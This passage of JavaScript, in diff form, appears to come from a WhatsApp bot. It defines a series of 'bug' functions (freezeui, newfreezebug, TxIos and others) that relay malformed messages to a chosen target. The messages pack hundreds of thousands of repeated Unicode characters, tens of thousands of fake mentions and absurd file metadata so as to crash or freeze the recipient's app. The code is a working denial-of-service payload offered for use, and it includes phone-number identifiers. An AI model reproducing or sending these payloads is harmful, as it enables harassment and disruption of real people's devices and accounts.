ui = 'ꦽ'.repeat(1500); + await David.relayMessage(zLoc, { + ephemeralMessage: { + message: { + interactiveMessage: { + header: { + documentMessage: { + url: "https://mmg.whatsapp.net/v/t62.7119-24/30958033_897372232245492_2352579421025151158_n.enc?ccb=11-4&oh=01_Q5AaIOBsyvz-UZTgaU-GUXqIket-YkjY-1Sg28l04ACsLCll&oe=67156C73&_nc_sid=5e03e0&mms3=true", + mimetype: "application/vnd.openxmlformats-officedocument.presentationml.presentation", + fileSha256: "QYxh+KzzJ0ETCFifd1/x3q6d8jnBpfwTSZhazHRkqKo=", + fileLength: "9999999999999", + pageCount: 1316134911, + mediaKey: "45P/d5blzDp2homSAvn86AaCzacZvOBYKO8RDkx5Zec=", + fileName: "ᄃΛᄂIƧƬΛᄃЯΛƧΉ", + fileEncSha256: "LEodIdRH8WvgW6mHqzmPd+3zSR61fXJQMjf3zODnHVo=", + directPath: "/v/t62.7119-24/30958033_897372232245492_2352579421025151158_n.enc?ccb=11-4&oh=01_Q5AaIOBsyvz-UZTgaU-GUXqIket-YkjY-1Sg28l04ACsLCll&oe=67156C73&_nc_sid=5e03e0", + mediaKeyTimestamp: "1726867151", + contactVcard: true, + jpegThumbnail: "", + }, + hasMediaAttachment: true, + }, + + body: { text: 'ᄃΛᄂIƧƬΛᄃЯΛƧΉ' + ui + jids }, + contextInfo: { + mentionedJid: ['916909137213@s.whatsapp.net'], + mentions: ['916909137213@s.whatsapp.net'], + }, + footer: { text: '' }, + nativeFlowMessage: {}, + contextInfo: { + mentionedJid: ["916909137213@s.whatsapp.net", ...Array.from({ + length: 30000 + }, () => "1" + Math.floor(Math.random() * 500000) + "@s.whatsapp.net")], + forwardingScore: 1, + isForwarded: true, + fromMe: false, + participant: "0@s.whatsapp.net", + remoteJid: "status@broadcast", + quotedMessage: { + documentMessage: { + url: "https://mmg.whatsapp.net/v/t62.7119-24/23916836_520634057154756_7085001491915554233_n.enc?ccb=11-4&oh=01_Q5AaIC-Lp-dxAvSMzTrKM5ayF-t_146syNXClZWl3LMMaBvO&oe=66F0EDE2&_nc_sid=5e03e0", + mimetype: "application/vnd.openxmlformats-officedocument.presentationml.presentation", + fileSha256: "QYxh+KzzJ0ETCFifd1/x3q6d8jnBpfwTSZhazHRkqKo=", + fileLength: "9999999999999", + pageCount: 1316134911, + mediaKey: "lCSc0f3rQVHwMkB90Fbjsk1gvO+taO4DuF+kBUgjvRw=", + fileName: "ᄃΛᄂIƧƬΛᄃЯΛƧΉ", + fileEncSha256: "wAzguXhFkO0y1XQQhFUI0FJhmT8q7EDwPggNb89u+e4=", + directPath: "/v/t62.7119-24/23916836_520634057154756_7085001491915554233_n.enc?ccb=11-4&oh=01_Q5AaIC-Lp-dxAvSMzTrKM5ayF-t_146syNXClZWl3LMMaBvO&oe=66F0EDE2&_nc_sid=5e03e0", + mediaKeyTimestamp: "1724474503", + contactVcard: true, + thumbnailDirectPath: "/v/t62.36145-24/13758177_1552850538971632_7230726434856150882_n.enc?ccb=11-4&oh=01_Q5AaIBZON6q7TQCUurtjMJBeCAHO6qa0r7rHVON2uSP6B-2l&oe=669E4877&_nc_sid=5e03e0", + thumbnailSha256: "njX6H6/YF1rowHI+mwrJTuZsw0n4F/57NaWVcs85s6Y=", + thumbnailEncSha256: "gBrSXxsWEaJtJw4fweauzivgNm2/zdnJ9u1hZTxLrhE=", + jpegThumbnail: "", + }, + }, + }, + }, + }, + }, + }, + ptcp ? { + participant: { + jid: zLoc + } + } : {} + ); + } + + async function xeonHARD(zLoc, ptcp = false) + { + const gg = "ꦽ".repeat(10200); + const ggg = "ꦿꦾ".repeat(10200); + David.relayMessage(zLoc, { + viewOnceMessage: { + message: { + extendedTextMessage: { + text: " ' ᄃΛᄂIƧƬΛᄃЯΛƧΉ'\n" + gg, + previewType: "ᄃΛᄂIƧƬΛᄃЯΛƧΉ", + contextInfo: { + mentionedJid: ["916909137213@s.whatsapp.net", "916909137213@s.whatsapp.net"] + } + } + } + } + }, { + participant: { + jid: zLoc + } + }); + await David.relayMessage(zLoc, { + viewOnceMessage: { + message: { + interactiveMessage: { + body: { + text: "akujelek?" + }, + footer: { + text: "" + }, + header: { + documentMessage: { + url: "https://mmg.whatsapp.net/v/t62.7119-24/19973861_773172578120912_2263905544378759363_n.enc?ccb=11-4&oh=01_Q5AaIMqFI6NpAOoKBsWqUR52hN9p5YIGxW1TyJcHyVIb17Pe&oe=6653504B&_nc_sid=5e03e0&mms3=true", + mimetype: "application/pdf", + fileSha256: "oV/EME/ku/CjRSAFaW+b67CCFe6G5VTAGsIoimwxMR8=", + fileLength: null, + pageCount: 99999999999999, + contactVcard: true, + caption: "ᄃΛᄂIƧƬΛᄃЯΛƧΉ", + mediaKey: "yU8ofp6ZmGyLRdGteF7Udx0JE4dXbWvhT6X6Xioymeg=", + fileName: "ᄃΛᄂIƧƬΛᄃЯΛƧΉ ", + fileEncSha256: "0dJ3YssZD1YUMm8LdWPWxz2VNzw5icWNObWWiY9Zs3k=", + directPath: "/v/t62.7119-24/19973861_773172578120912_2263905544378759363_n.enc?ccb=11-4&oh=01_Q5AaIMqFI6NpAOoKBsWqUR52hN9p5YIGxW1TyJcHyVIb17Pe&oe=6653504B&_nc_sid=5e03e0", + mediaKeyTimestamp: "1714145232", + thumbnailDirectPath: "/v/t62.36145-24/32182773_798270155158347_7279231160763865339_n.enc?ccb=11-4&oh=01_Q5AaIGDA9WE26BzZF37Vp6aAsKq56VhpiK6Gdp2EGu1AoGd8&oe=665346DE&_nc_sid=5e03e0", + thumbnailSha256: "oFogyS+qrsnHwWFPNBmtCsNya8BJkTlG1mU3DdGfyjg=", + thumbnailEncSha256: "G2VHGFcbMP1IYd95tLWnpQRxCb9+Q/7/OaiDgvWY8bM=", + jpegThumbnail: "/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEABERERESERMVFRMaHBkcGiYjICAjJjoqLSotKjpYN0A3N0A3WE5fTUhNX06MbmJiboyiiIGIosWwsMX46/j///8BERERERIRExUVExocGRwaJiMgICMmOiotKi0qOlg3QDc3QDdYTl9NSE1fToxuYmJujKKIgYiixbCwxfjr+P/////CABEIACIAYAMBIgACEQEDEQH/xAAwAAACAwEBAAAAAAAAAAAAAAADBAACBQYBAQEBAQEBAAAAAAAAAAAAAAAAAQIDBP/aAAwDAQACEAMQAAAA5CpC5601s5+88/TJ01nBC6jmytPTAQuZhpxa2PQ0WjCP2T6LXLJR3Ma5WSIsDXtUZYkz2seRXNmSAY8m/PlhkUdZD//EAC4QAAIBAwIEBAQHAAAAAAAAAAECAAMRIRIxBCJBcQVRgbEQEzIzQmFygsHR4f/aAAgBAQABPwBKSsN4aZERmVVybZxecODVpEsCE2zmIhYgAZMbwjiQgbBNto9MqSCMwiUioJDehvaVBynIJ3xKPDki7Yv7StTC3IYdoLAjT/s0ltpSOhgSAR1BlTi7qUQTw/g3aolU4VTLzxLgg96yb9Yy2gJVgRLKgL1VtfZdyTKdXQrO246dB+UJJJJ3hRAoDWA84p+WRc3U9YANRmlT3nK9NdN9u1jKD1KeNTSsfnmzFiB5Eypw9ADUS4Hr/U1LT+1T9SPcmEaiWJ1N59BKrAcgNxfJ+BV25nNu8QlLE5WJj9J2mhTKTMjAX5SZTo0qYDsVJOxgalWauFtdeonE1NDW27ZEeqpz/F/ePUJHXuYfgxJqQfT6RPtfujE3pwdJQ5uDYNnB3nAABKlh+IzisvVh2hhg3n//xAAZEQACAwEAAAAAAAAAAAAAAAABIAACEWH/2gAIAQIBAT8AYDs16p//xAAfEQABAwQDAQAAAAAAAAAAAAABAAIRICExMgMSQoH/2gAIAQMBAT8ALRERdYpc6+sLrIREUenIa/AuXFH/2Q==", + thumbnailHeight: 172, + thumbnailWidth: 480 + }, + hasMediaAttachment: true + }, + nativeFlowMessage: { + buttons: [{ + name: "single_select", + buttonParamsJson: JSON.stringify({ + title: "ᄃΛᄂIƧƬΛᄃЯΛƧΉ", + sections: [{ + title: "", + rows: [{ + title: "ᄃΛᄂIƧƬΛᄃЯΛƧΉ", + id: ".huii" + }] + }] + }) + }] + }, + contextInfo: { + mentionedJid: zLoc, + mentions: zLoc + }, + disappearingMode: { + initiator: "INITIATED_BY_ME", + inviteLinkGroupTypeV2: "DEFAULT", + messageContextInfo: { + deviceListMetadata: { + senderTimestamp: "1678285396", + recipientKeyHash: "SV5H7wGIOXqPtg==", + recipientTimestamp: "1678496731", + deviceListMetadataVersion: 2 + } + } + } + } + } + } + }, { + participant: { + jid: zLoc + } + }); + await David.relayMessage(zLoc, { + viewOnceMessage: { + message: { + locationMessage: { + degreesLatitude: -21.980324912168495, + degreesLongitude: 24.549921490252018, + name: "ᄃΛᄂIƧƬΛᄃЯΛƧΉ" + ggg, + address: "", + jpegThumbnail: "/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEABsbGxscGx4hIR4qLSgtKj04MzM4PV1CR0JHQl2NWGdYWGdYjX2Xe3N7l33gsJycsOD/2c7Z//////////////8BGxsbGxwbHiEhHiotKC0qPTgzMzg9XUJHQkdCXY1YZ1hYZ1iNfZd7c3uXfeCwnJyw4P/Zztn////////////////CABEIAEgAPwMBIgACEQEDEQH/xAAwAAACAwEBAAAAAAAAAAAAAAADBAACBQEGAQADAQEAAAAAAAAAAAAAAAABAgMABP/aAAwDAQACEAMQAAAAz2QAZ/Q57OSj+gLlnhnQdIBnhbzugXQZXcL6CF2XcIhqctQY3oMPokgQo6ArA2ZsVnlYUvnMq3lF7UfDKToz7SneaszZLzraR84aSDD7Jn//xAAhEAACAgIDAAMBAQAAAAAAAAABAgADBBESITETIkFRgf/aAAgBAQABPwAX2A2Op9MOSj1cbE7mEgqxy8NhsvDH+9RF12YGnFTLamPg3MnFONYFDbE+1liLx9MzXNVVdan8gdgVI/DEzlYaY9xbQRuJZyE5zKT5Mhj+ATGrUXDZ6EznJs3+RuvDOz3MXJRfo8+Sv1HE+xjsP2WMEfce5XUrv2MnoI6EJB8laAnuVUdgxelj1lpkE89Q7iO0ABGx/olNROyRE2hituW9IZah2TOBI7E48PYnEJsSm3YG4AGE4lfJk2a0sZuTdxiCpIjAOkLlQBqUOS2ojagOxMonmDOXsJHHqIdtLqSdESisq2yI2otnGZP2oVoDPNiBSBvUqO9SwdQGan//xAAdEQADAQADAAMAAAAAAAAAAAAAAQIRECExMkGB/9oACAECAQE/AMlpMXejivs2kydawnr0pKkWkvHpDOitzoeMldIw1OWNaR5+8P5cf//EAB0RAAIDAAIDAAAAAAAAAAAAAAERAAIQAxIgMVH/2gAIAQMBAT8Acpx2tXsIdZHowNwaPBF4M+Z//9k=" + } + } + } + }, { + participant: { + jid: zLoc + } + }); + await David.relayMessage(zLoc, { + botInvokeMessage: { + message: { + messageContextInfo: { + deviceListMetadataVersion: 2, + deviceListMetadata: {} + }, + interactiveMessage: { + nativeFlowMessage: { + buttons: [{ + name: "payment_info", + buttonParamsJson: "{\"currency\":\"INR\",\"total_amount\":{\"value\":0,\"offset\":100},\"reference_id\":\"4PVSNK5RNNJ\",\"type\":\"physical-goods\",\"order\":{\"status\":\"pending\",\"subtotal\":{\"value\":0,\"offset\":100},\"order_type\":\"ORDER\",\"items\":[{\"name\":\"\",\"amount\":{\"value\":0,\"offset\":100},\"quantity\":0,\"sale_amount\":{\"value\":0,\"offset\":100}}]},\"payment_settings\":[{\"type\":\"pix_static_code\",\"pix_static_code\":{\"merchant_name\":\"🦄드림 가이 Cela;\",\"key\":\"🦄드림 가이 Cela\",\"key_type\":\"RANDOM\"}}]}" + }] + } + } + } + } + }, { + participant: { + jid: zLoc + } + }); + await David.relayMessage(zLoc, { + viewOnceMessage: { + message: { + liveLocationMessage: { + degreesLatitude: 11111111, + degreesLongitude: -111111, + caption: "xeontex", + url: "https://" + ggg + ".com", + sequenceNumber: "1678556734042001", + jpegThumbnail: null, + expiration: 7776000, + ephemeralSettingTimestamp: "1677306667", + disappearingMode: { + initiator: "INITIATED_BY_ME", + inviteLinkGroupTypeV2: "DEFAULT", + messageContextInfo: { + deviceListMetadata: { + senderTimestamp: "1678285396", + recipientKeyHash: "SV5H7wGIOXqPtg==", + recipientTimestamp: "1678496731", + deviceListMetadataVersion: 2 + } + } + }, + contextInfo: { + mentionedJid: zLoc, + mentions: zLoc, + isForwarded: true, + fromMe: false, + participant: "0@s.whatsapp.net", + remoteJid: "0@s.whatsapp.net" + } + } + } + } + }, { + participant: { + jid: zLoc + } + }); + } + + async function XeonButtNew(zLoc, ptcp = false) { + await David.relayMessage(zLoc, { + ephemeralMessage: { + message: { + interactiveMessage: { + header: { + documentMessage: { + url: "https://mmg.whatsapp.net/v/t62.7119-24/30958033_897372232245492_2352579421025151158_n.enc?ccb=11-4&oh=01_Q5AaIOBsyvz-UZTgaU-GUXqIket-YkjY-1Sg28l04ACsLCll&oe=67156C73&_nc_sid=5e03e0&mms3=true", + mimetype: "application/vnd.openxmlformats-officedocument.presentationml.presentation", + fileSha256: "QYxh+KzzJ0ETCFifd1/x3q6d8jnBpfwTSZhazHRkqKo=", + fileLength: "9999999999999", + pageCount: 1316134911, + mediaKey: "45P/d5blzDp2homSAvn86AaCzacZvOBYKO8RDkx5Zec=", + fileName: "🦄드림 가이 Xeon", + fileEncSha256: "LEodIdRH8WvgW6mHqzmPd+3zSR61fXJQMjf3zODnHVo=", + directPath: "/v/t62.7119-24/30958033_897372232245492_2352579421025151158_n.enc?ccb=11-4&oh=01_Q5AaIOBsyvz-UZTgaU-GUXqIket-YkjY-1Sg28l04ACsLCll&oe=67156C73&_nc_sid=5e03e0", + mediaKeyTimestamp: "1726867151", + contactVcard: true, + jpegThumbnail: "", + }, + hasMediaAttachment: true, + }, + body: { + text: "🦄드림 가이 Xeon\n" + "@916909137213".repeat(17000), + }, + nativeFlowMessage: { + buttons: [{ + name: "cta_url", + buttonParamsJson: "{ display_text: '🦄드림 가이 Xeon', url: \"https://youtube.com/dgxeon\", merchant_url: \"https://youtube.com/dgxeon\" }", + }, + { + name: "call_permission_request", + buttonParamsJson: "{}", + }, + ], + messageParamsJson: "{}", + }, + contextInfo: { + mentionedJid: ["916909137213@s.whatsapp.net", ...Array.from({ + length: 30000 + }, () => "1" + Math.floor(Math.random() * 500000) + "@s.whatsapp.net")], + forwardingScore: 1, + isForwarded: true, + fromMe: false, + participant: "0@s.whatsapp.net", + remoteJid: "status@broadcast", + quotedMessage: { + documentMessage: { + url: "https://mmg.whatsapp.net/v/t62.7119-24/23916836_520634057154756_7085001491915554233_n.enc?ccb=11-4&oh=01_Q5AaIC-Lp-dxAvSMzTrKM5ayF-t_146syNXClZWl3LMMaBvO&oe=66F0EDE2&_nc_sid=5e03e0", + mimetype: "application/vnd.openxmlformats-officedocument.presentationml.presentation", + fileSha256: "QYxh+KzzJ0ETCFifd1/x3q6d8jnBpfwTSZhazHRkqKo=", + fileLength: "9999999999999", + pageCount: 1316134911, + mediaKey: "lCSc0f3rQVHwMkB90Fbjsk1gvO+taO4DuF+kBUgjvRw=", + fileName: "🦄드림 가이 Xeon", + fileEncSha256: "wAzguXhFkO0y1XQQhFUI0FJhmT8q7EDwPggNb89u+e4=", + directPath: "/v/t62.7119-24/23916836_520634057154756_7085001491915554233_n.enc?ccb=11-4&oh=01_Q5AaIC-Lp-dxAvSMzTrKM5ayF-t_146syNXClZWl3LMMaBvO&oe=66F0EDE2&_nc_sid=5e03e0", + mediaKeyTimestamp: "1724474503", + contactVcard: true, + thumbnailDirectPath: "/v/t62.36145-24/13758177_1552850538971632_7230726434856150882_n.enc?ccb=11-4&oh=01_Q5AaIBZON6q7TQCUurtjMJBeCAHO6qa0r7rHVON2uSP6B-2l&oe=669E4877&_nc_sid=5e03e0", + thumbnailSha256: "njX6H6/YF1rowHI+mwrJTuZsw0n4F/57NaWVcs85s6Y=", + thumbnailEncSha256: "gBrSXxsWEaJtJw4fweauzivgNm2/zdnJ9u1hZTxLrhE=", + jpegThumbnail: "", + }, + }, + }, + }, + }, + }, + }, + ptcp ? { + participant: { + jid: zLoc + } + } : {} + ); + }; + async function VPen(zLoc, ptcp = false) { + let valhalla = "Hola" + "𑲭𑲭".repeat(50000); + + let mentionedJidArray = Array.from({ length: 35000 }, () => + "1" + Math.floor(Math.random() * 500000) + "@s.whatsapp.net" + ); + + let battanz = { + groupMentionedMessage: { + message: { + listResponseMessage: { + title: " @120363326274964194@g.us", + listType: "SINGLE_SELECT", + singleSelectReply: { + selectedRowId: "Gateway To Hell" + }, + description: " @120363326274964194@g.us", + contextInfo: { + mentionedJid: mentionedJidArray, + groupMentions: [{ + groupJid: "120363326274964194@g.us", + groupSubject: valhalla + }] + } + } + } + } + }; + + await David.relayMessage(zLoc, battanz, { participant: { jid: zLoc } }, { messageId: null }); +} +async function Sinvi(target, Ptcp = true) { + const userMention = { + + "type": "user", + + "userJid": target, + + "mention": "@" + target.split('@')[0], // This assumes the display name is the part before '@' + + }; + let etc = generateWAMessageFromContent(target, proto.Message.fromObject({ + viewOnceMessage: { + message: { + interactiveMessage: { + header: { + title: "scarlet 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲", + locationMessage: {}, + hasMediaAttachment: true + }, + body: { + text: "scarlet 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲\n" + userMention.mention.repeat(17000), + }, + nativeFlowMessage: { + name: "call_permission_request", + messageParamsJson: " Spider〽️ " + }, + carouselMessage: {} + } + } + } + }), { + userJid: target, + quoted: EsQl + }); + + await David.relayMessage(target, etc.message, Ptcp ? { + participant: { + jid: target + } + } : {}); + console.log(chalk.green("Send Bug 𝕭𝖗𝖎𝖌𝖆𝖘𝖆 ⨳ 𝕬𝖘𝖙𝖗𝖔↯- 𝐁𝐘 Geby ೄྀ〽️")); + }; + +const extd = { +key: { +fromMe: false, +participant: `0@s.whatsapp.net`, +remoteJid: "status@broadcast" +}, +'message': { +extendedTextMessage: { +text: "𝕭𝖗𝖎𝖌𝖆𝖘𝖆 ⨳ 𝕬𝖘𝖙𝖗𝖔↯" +} +} +}; +async function freezekamoflase(target) { + +    await David.relayMessage(target, { +        groupMentionedMessage: { +            message: { +                interactiveMessage: { +                    header: { +                        locationMessage: { +                            degreesLatitude: 414058.5, +                            degreesLongitude: 131518.0 +                        }, +                        hasMediaAttachment: true +                    }, +                    body: { +                        text: `𝕭𝖗𝖎𝖌𝖆𝖘𝖆 ⨳ 𝕬𝖘𝖙𝖗𝖔↯ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ ${"@0 ".repeat(50000)}`, + "contextInfo": { mentionedJid: [ "0@s.whatsapp.net" ] } +                    }, +                    nativeFlowMessage: {}, +                    contextInfo: { +                        mentionedJid: Array.from({ length: 5 }, () => "0@s.whatsapp.net"), +                        groupMentions: [{ groupJid: "120363301095727346@newsletter", groupSubject: "𝐑𝐞𝐚𝐥🦣" }] +                    } +                } +            } +        } +    }, { participant: { jid: target } }, { messageId: null }); +} + + +async function freezeui(target) { + +    await David.relayMessage(target, { +        groupMentionedMessage: { +            message: { +                interactiveMessage: { +                    header: { +                        viewOnceMessage: { +                            degreesLatitude: 0, +                            degreesLongitude: 0 +                        }, +                        hasMediaAttachment: false +                    }, +                    body: { +                        text: `𝕭𝖗𝖎𝖌𝖆𝖘𝖆 ⨳ 𝕬𝖘𝖙𝖗𝖔↯ ${"@2348140825959 ".repeat(10000)}`, + "contextInfo": { mentionedJid: [ "2348140825959@s.whatsapp.net" ] } +                    }, +                    nativeFlowMessage: {}, +                    contextInfo: { +                        mentionedJid: Array.from({ length: 5 }, () => "2348140825959@s.whatsapp.net"), +                        groupMentions: [{ groupJid: "120363301095727346@newsletter", groupSubject: " 𝕭𝖗𝖎𝖌𝖆𝖘𝖆 ⨳ 𝕬𝖘𝖙𝖗𝖔↯ " }] +                    } +                } +            } +        } +    }, { participant: { jid: target } }, { messageId: null }); +} +async function newfreezebug(target) { + let virus = "𝕭𝖗𝖎𝖌𝖆𝖘𝖆 ⨳ 𝕬𝖘𝖙𝖗𝖔↯"; + + await David.relayMessage(target, { + groupMentionedMessage: { + message: { + interactiveMessage: { + header: { + locationMessage: { + degreesLatitude: 7777099.1, + degreesLongitude: -922.999999999999 + }, + hasMediaAttachment: true + }, + body: { + text: "𝕭𝖗𝖎𝖌𝖆𝖘𝖆 ⨳ 𝕬𝖘𝖙𝖗𝖔↯" + "@scarlet 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲ 󠀬󠀭󠀳󠀳󠀳󠀵󠀵󠀵󠀵‫‪‫҈꙲".repeat(300000) + }, + nativeFlowMessage: {}, + contextInfo: { + mentionedJid: Array.from({ length: 5 }, () => "1@newsletter"), + groupMentions: [{ groupJid: "1@newsletter", groupSubject: "𝕭𝖗𝖎𝖌𝖆𝖘𝖆 ⨳ 𝕬𝖘𝖙𝖗𝖔↯ " }] + } + } + } + } + }, { participant: { jid: target } }, { messageId: null }); +} +async function newvirpen(target) { + let virus = "𝕭𝖗𝖎𝖌𝖆𝖘𝖆 ⨳ 𝕬𝖘𝖙𝖗𝖔↯" + "ꦾ".repeat(50000); + + let mentionedJidArray = Array.from({ length: 35000 }, () => + "1" + Math.floor(Math.random() * 500000) + "@null" + ); + + let message = { + groupMentionedMessage: { + message: { + listResponseMessage: { + title: " @120363326274964194@g.us", + listType: "SINGLE_SELECT", + singleSelectReply: { + selectedRowId: "𝕭𝖗𝖎𝖌𝖆𝖘𝖆 ⨳ 𝕬𝖘𝖙𝖗𝖔↯" + }, + description: " @120363326274964194@g.us", + contextInfo: { + mentionedJid: mentionedJidArray, + groupMentions: [{ + groupJid: "120363326274964194@g.us", + groupSubject: virus + }] + } + } + } + } + }; + + await David.relayMessage(target, message, { participant: { jid: target } }, { messageId: null }); +} +async function TxIos(target, Ptcp = false) { + await David.relayMessage(target, { + "extendedTextMessage": { + "text": "⭑̤⟅̊༑ ▾ 𝕭𝖗𝖎𝖌𝖆𝖘𝖆 ⨳ 𝕬𝖘𝖙𝖗𝖔↯⋆✩⋆⿻ ▾ ༑̴⟆̊‏‎‏‎‏‎‏⭑̤", + "contextInfo": { + "stanzaId": "1234567890ABCDEF", + "participant": "6283139073473@s.whatsapp.net", + "quotedMessage": { + "callLogMesssage": { + "isVideo": true, + "callOutcome": "1", + "durationSecs": "0", + "callType": "REGULAR", + "participants": [{ + "jid": "6283139073473@s.whatsapp.net", + "callOutcome": "1" + }] + } + }, + "remoteJid": target, + "conversionSource": "source_example", + "conversionData": "Y29udmVyc2lvbl9kYXRhX2V4YW1wbGU=", + "conversionDelaySeconds": 10, + "forwardingScore": 9999999, + "isForwarded": true, + "quotedAd": { + "advertiserName": "Example Advertiser", + "mediaType": "IMAGE", + "jpegThumbnail": "/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEABsbGxscGx4hIR4qLSgtKj04MzM4PV1CR0JHQl2NWGdYWGdYjX2Xe3N7l33gsJycsOD/2c7Z//////////////8BGxsbGxwbHiEhHiotKC0qPTgzMzg9XUJHQkdCXY1YZ1hYZ1iNfZd7c3uXfeCwnJyw4P/Zztn////////////////CABEIAEgAmadaboiboiBIgACEQEDEQH/xAAwAAADAQEBAQAAAAAAAAAAAAAABAUDAgYBAQEBAQEBAAAAAAAAAAAAAAAAAQIDBP/aAAwDAQACEAMQAAAAa4i3TThoJ/bUg9JER9UvkBoneppljfO/1jmV8u1DJv7qRBknbLmfreNLpWwq8n0E40cRaT6LmdeLtl/WZWbiY3z470JejkBaRJHRiuE5vmadaboiboikKoXK8gDgCz/xAAsEAACAgEEAgEBBwUAAAAAAAABAgADBAUREiETMVEjEBQVIjJBQjNhYnFy/9oACAEBAAE/AMvKVPEBKqUtZrSdiF6nJr1NTqdwPYnNMJNyI+s01sPoxNbx7CA6kRUouTdJl4LI5I+xBk37ZG+/FopaxBZxAMrJqXd/1N6WPhi087n9+hG0PGt7JMzdDekcqZp2bZjWiq2XAWBTMyk1XHrozTMepMPkwlDrzff0vYmMq3M2Q5/5n9WxWO/vqV7nczIflZWgM1DTktauxeiDLPyeKaoD0Za9lOCmw3JlbE1EH27Ccmro8aDuVZpZkRk4kTHf6W/77zjzLvv3ynZKjeMoJH9pnoXDgDsCZ1ngxOPwJTULaqHG42EIazIA9ddiDC/OSWlXOupw0Z7kbettj8GUuwXd/wBZHQlR2XaMu5M1q7pK5g61XTWlbpGzKWdLq37iXISNoyhhLscK/PYmU1ty3/kfmWOtSgb9x8pKUZyf9CO9udkfLNMbTKEH1VJMbFxcVfJW0+9+B1JQlZ+NIwmHqFWVeQY3JrwR6AmblcbwP47zJZWs5Kej6mh4g7vaM6noJuJdjIWVwJfcgy0rA6ZZd1bYP8jNIdDQ/FBzWam9tVSPWxDmPZk3oFcE7RfKpExtSyMVeCepgaibOfkKiXZVIUlbASB1KOFfLKttHL9ljUVuxsa9diZhtjUVl6zM3KsQIUsU7xr7W9uZyb5M/8QAGxEAAgMBAQEAAAAAAAAAAAAAAREAECBRMWH/2gAIAQIBAT8Ap/IuUPM8wVx5UMcJgr//xAAdEQEAAQQDAQAAAAAAAAAAAAABAAIQESEgMVFh/9oACAEDAQE/ALY+wqSDk40Op7BTMEOywVPXErAhuNMDMdW//9k=", + "caption": "This is an ad caption" + }, + "placeholderKey": { + "remoteJid": "6283139073473@s.whatsapp.net", + "fromMe": false, + "id": "ABCDEF1234567890" + }, + "expiration": 86400, + "ephemeralSettingTimestamp": "1728090592378", + "ephemeralSharedSecret": "ZXBoZW1lcmFsX3NoYXJlZF9zZWNyZXRfZXhhbXBsZQ==", + "externalAdReply": { + "title": "𝕭𝖗𝖎𝖌𝖆𝖘𝖆 ⨳ 𝕬𝖘𝖙𝖗𝖔↯ 𝑽𝟏⃟⃟⃟😈〽", + "body": "尺ɪẔχẔ 𝐈𝐬 𝐇𝐞𝐫𝐞 ϟ", + "mediaType": "VIDEO", + "renderLargerThumbnail": true, + "previewTtpe": "VIDEO", + "thumbnail": "/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEABsbGxscGx4hIR4qLSgtKj04MzM4PV1CR0JHQl2NWGdYWGdYjX2Xe3N7l33gsJycsOD/2c7Z//////////////8BGxsbGxwbHiEhHiotKC0qPTgzMzg9XUJHQkdCXY1YZ1hYZ1iNfZd7c3uXfeCwnJyw4P/Zztn////////////////CABEIAEgAmadaboiboiBIgACEQEDEQH/xAAwAAADAQEBAQAAAAAAAAAAAAAABAUDAgYBAQEBAQEBAAAAAAAAAAAAAAAAAQIDBP/aAAwDAQACEAMQAAAAa4i3TThoJ/bUg9JER9UvkBoneppljfO/1jmV8u1DJv7qRBknbLmfreNLpWwq8n0E40cRaT6LmdeLtl/WZWbiY3z470JejkBaRJHRiuE5vmadaboiboikKoXK8gDgCz/xAAsEAACAgEEAgEBBwUAAAAAAAABAgADBAUREiETMVEjEBQVIjJBQjNhYnFy/9oACAEBAAE/AMvKVPEBKqUtZrSdiF6nJr1NTqdwPYnNMJNyI+s01sPoxNbx7CA6kRUouTdJl4LI5I+xBk37ZG+/FopaxBZxAMrJqXd/1N6WPhi087n9+hG0PGt7JMzdDekcqZp2bZjWiq2XAWBTMyk1XHrozTMepMPkwlDrzff0vYmMq3M2Q5/5n9WxWO/vqV7nczIflZWgM1DTktauxeiDLPyeKaoD0Za9lOCmw3JlbE1EH27Ccmro8aDuVZpZkRk4kTHf6W/77zjzLvv3ynZKjeMoJH9pnoXDgDsCZ1ngxOPwJTULaqHG42EIazIA9ddiDC/OSWlXOupw0Z7kbettj8GUuwXd/wBZHQlR2XaMu5M1q7p5g61XTWlbpGzKWdLq37iXISNoyhhLscK/PYmU1ty3/kfmWOtSgb9x8pKUZyf9CO9udkfLNMbTKEH1VJMbFxcVfJW0+9+B1JQlZ+NIwmHqFWVeQY3JrwR6AmblcbwP47zJZWs5Kej6mh4g7vaM6noJu